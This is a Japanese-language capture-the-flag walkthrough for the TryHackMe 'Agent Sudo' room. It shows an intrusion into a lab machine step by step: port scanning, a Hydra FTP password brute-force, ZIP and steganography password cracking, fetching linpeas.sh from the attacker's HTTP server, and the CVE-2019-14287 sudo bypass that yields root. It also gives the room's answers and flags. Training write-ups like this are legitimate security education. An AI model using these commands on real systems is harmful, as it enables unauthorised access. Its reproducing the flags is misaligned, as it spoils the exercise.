【TryHackMe】Agent Sudo：Walkthrough

# 概要

TryHackMe「Agent Sudo」のWalkthroughです。

https://tryhackme.com/r/room/agentsudoctf

# Task2

## **Q1**.*How many open ports?*

**Hint**.*nmap*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.145.26
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 05:32 EDT
Warning: 10.10.145.26 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.145.26
Host is up (0.27s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        VERSION
21/tcp    open     ftp            vsftpd 3.0.3
22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_  256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Annoucement
1055/tcp  filtered ansyslmd
1107/tcp  filtered isoipsigport-2
1145/tcp  filtered x9-icue
1812/tcp  filtered radius
2909/tcp  filtered funk-dialout
3007/tcp  filtered lotusmtap
3869/tcp  filtered ovsam-mgmt
4998/tcp  filtered maybe-veritas
5269/tcp  filtered xmpp-server
5922/tcp  filtered unknown
9290/tcp  filtered unknown
10617/tcp filtered unknown
27356/tcp filtered unknown
33899/tcp filtered unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.92 seconds
```

`ftp:21`,`ssh:22`,`http:80`番ポートがオープンになっていることが分かりました。

**A**.**3**

## **Q2**.*How you redirect yourself to a secret page?*

**Hint**.*Answer format: xxxx-xxxxx*

ウェブページにアクセスします。
文面から`User-Agent`ヘッダーが関係していそうだと推測しました。

![web.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3159817d-814d-db2a-ec8f-7c0efee1c33c.png)

**A**.**user-agent**

## **Q3**.*What is the agent name?*

**Hint**.*You might face problem on using Firefox. Try 'user agent switcher' plugin with user agent: C*

ヒントを参考に`User-Agent`を`C`に変更してリクエストを送信すると、`Locationレスポスヘッダー`に興味深いパスを見つけました。

![user agent c.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/50f75238-f2d6-c922-cf66-cfdac66b7d54.png)

当パスにアクセスするとユーザーエージェントの名前を特定できました。

![web chris.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4324c9cc-362c-4660-8ca6-d54bb759080f.png)

**A**.**chris**

# Task3

## **Q1**.*FTP password*

**Hint**.*Hail hydra!*

Task2,Q3の文面から`chris`のパスワードが脆弱だと分かりました。
`Hydra`でFTPのパスワードを特定します。

```
$ hydra -f -l chris -P /usr/share/wordlists/rockyou.txt 10.10.145.26 ftp -t 30
```

パスワードを特定できました。

```
[21][ftp] host: 10.10.145.26   login: chris   password: crystal
```

**A**.**crystal**

## **Q2**.*Zip file password*

**Hint**.*Mr.John*

特定したクレデンシャル情報でFTPにアクセスします。

```
$ ftp 10.10.145.26
Connected to 10.10.145.26.
220 (vsFTPd 3.0.3)
Name (10.10.145.26:kali): chris
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

カレントディレクトリには3つのファイルがあります。

```
ftp> ls
229 Entering Extended Passive Mode (|||14248|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.
```

とりあえずすべてダウンロードします。

```
ftp> mget *
```

テキストファイルには`chris`が`J`あてに送ったメッセージが記載されています。
画像ファイルが怪しいみたいです。

```To_agentJ.txt
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C
```

他にエイリアンの画像を二つダウンロードしました。

![alian1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f8a61e7b-be18-1461-c712-6117017f7388.png)

![alian2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b979abbb-428e-7173-3392-b072b73d7a2b.png)

`exiftool`で画像のメタデータを読み取ると`cutie.png`に`[minor] Trailer data after PNG IEND chunk`の表示がありました。
PNGファイルの終了位置を表す`IEND`チャンクの後ろに別のデータがありそうです。

```
$ exiftool cutie.png 
ExifTool Version Number         : 12.70
File Name                       : cutie.png
Directory                       : .
File Size                       : 35 kB
File Modification Date/Time     : 2019:10:29 08:33:51-04:00
File Access Date/Time           : 2024:06:05 06:22:12-04:00
File Inode Change Date/Time     : 2024:06:05 06:22:12-04:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 528
Image Height                    : 528
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 762 bytes, use -b option to extract)
Transparency                    : (Binary data 42 bytes, use -b option to extract)
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 528x528
Megapixels                      : 0.279
```

`hexeeditor`で確認します。

```
$ hexeditor cutie.png
```

マジックナンバーが`PK`および、`50 4B 03 04`になっているので、ZIPファイルであると推測できます。
その中には`To_agentR.txt`というファイルがあります。

![alian1 iend.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b6b04581-f0cd-3022-798e-27b349df2704.png)

`50 4B 03 04`からのバイナリを別ファイルで保存します。
この時、ファイル拡張子は`zip`にします。

`ghex`で編集を行います。

![cutie zip.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b9b8c1ea-7bc2-1fad-1530-9ee549756b34.png)

取り出したZIPファイルのパスワードを解読します。
まずは`zip2john`でハッシュ値を取得します。

```
$ zip2john cutie.zip > cutie_zip_hash.txt
$ cat cutie_zip_hash.txt 
cutie.zip/To_agentR.txt:$zip2$*0*1*0*4673cae714579045*67aa*4e*61c4cf3af94e649f827e5964ce575c5f7a239c48fb992c8ea8cbffe51d03755e0ca861a5a3dcbabfa618784b85075f0ef476c6da8261805bd0a4309db38835ad32613e3dc5d7e87c0f91c0b5e64e*4969f382486cb6767ae6*$/zip2$:To_agentR.txt:cutie.zip:cutie.zip
```

`john the ripper`でハッシュ値を解析します。

```
$ john cutie_zip_hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
alien            (cutie.zip/To_agentR.txt)     
1g 0:00:00:01 DONE 2/3 (2024-06-05 07:30) 0.9523g/s 56892p/s 56892c/s 56892C/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

無事ZIPファイルのパスワードを特定することができました。

**A**.**alien**

## **Q3**.*steg password*

zipファイルを`unzip`コマンドで解凍しようとしてもバージョン関係で出来なかったので`7zip`で対応しました。

```
$ 7z x cutie.zip 

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:2 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: cutie.zip
--
Path = cutie.zip
Type = zip
Physical Size = 280

    
Enter password (will not be echoed):
Everything is Ok

Size:       86
Compressed: 280
```

中の`To_agentR.txt`を見てみます。

```To_agentR.txt
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R
```

`QXJlYTUx`という場所へ写真を送信する必要があるそうです。
この文字列が何を意味するのか`cyberchef`で調べます。

![area51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1fbe04e1-7693-27b8-ce59-ce5d6c1c39bc.png)

`Area51`をBase64でエンコードしてあったみたいですね。

**A**.**Area51**

## **Q4**.*Who is the other agent (in full name)?*

`Password: Area51`を使用して、`steghide`で`cute-alien.jpg`に隠されたものを抽出します。

```
$ steghide extract -sf cute-alien.jpg
Enter passphrase: 
wrote extracted data to "message.txt".
```

`message.txt`を抽出できたので中身を見てみます。

```
$ cat message.txt  
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
```

エージェント`J`のフルネームは`james`だと分かりました。
そして

**A**.**james**

## **Q5**.*SSH password*

`message.txt`から`james`のパスワードが`hackerrules!`だと分かりました。

**A**.**hackerrules!**

# Task4

## **Q1**.*What is the user flag?*

`user_flag.txt`を表示してフラグゲットです。

```
$ ls -l
total 48
-rw-r--r-- 1 james james 42189 Jun 19  2019 Alien_autospy.jpg
-rw-r--r-- 1 james james    33 Oct 29  2019 user_flag.txt
james@agent-sudo:~$ cat user_flag.txt 
b03d975e8c92a7c04146cfa7a5a313c7
```

**A**.**b03d975e8c92a7c04146cfa7a5a313c7**

## **Q2**.*What is the incident of the photo called?*

**Hint**.*Reverse image and Foxnews.*

`scp`コマンドで画像ファイルをダウンロードします。

```
$ scp james@10.10.145.26:/home/james/Alien_autospy.jpg ./
james@10.10.145.26's password: 
Alien_autospy.jpg                                                                  100%   41KB  41.2KB/s   00:01
```

エイリアンらしき画像ファイルを得られました。

![Alien_autospy.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/60dd57ac-b3c9-a5af-b541-889ddf3dd18c.jpeg)

Googleで画像検索をすると`ロズウェル事件`の画像だと分かりました。

ヒントにあるFoxnewsで記事が見つかりました。

https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment?fbclid=IwAR0s_R-JV7yihYjFrDIdEuW_LK8eY8BJog13mXga6mKpF3ze2UgrA570hm4

**A**.**Roswell alien autopsy**

# Task5

## **Q1**.*CVE number for the escalation(Format: CVE-xxxx-xxxx)*

kali側でHTTPサーバーを起動し、`linpeas.sh`をターゲットサーバーへインストールします。

```
$ cd /usr/share/peass/linpeas
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
james@agent-sudo:~$ wget http://10.6.55.144/linpeas.sh
--2024-06-05 13:25:50--  http://10.6.55.144/linpeas.sh
Connecting to 10.6.55.144:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                    100%[==============================================>] 842.56K   440KB/s    in 1.9s    

2024-06-05 13:25:53 (440 KB/s) - ‘linpeas.sh’ saved [862779/862779]
```

ターゲットサーバーで`linpeas.sh`を実行します。

```
$ sh linpeas.sh
```

`sudo`のバージョンがわかりました。

```
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version                                      
Sudo version 1.8.21p2
```

Exploit DBでCVE情報がヒットしました。

https://www.exploit-db.com/exploits/47502

**A**.**CVE-2019-14287**

## **Q2**.*What is the root flag?*

エクスプロイトコマンドを実行してroot権限を取得出来ました。

```
james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root
```

`/root/root.txt`にフラグがあります。

```/root/root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
b53a02f55b57d4439e3341834d70c062

By,
DesKel a.k.a Agent R
```

**A**.**b53a02f55b57d4439e3341834d70c062**

## **Q3**.*(Bonus) Who is Agent R?*

**A**.**DesKel**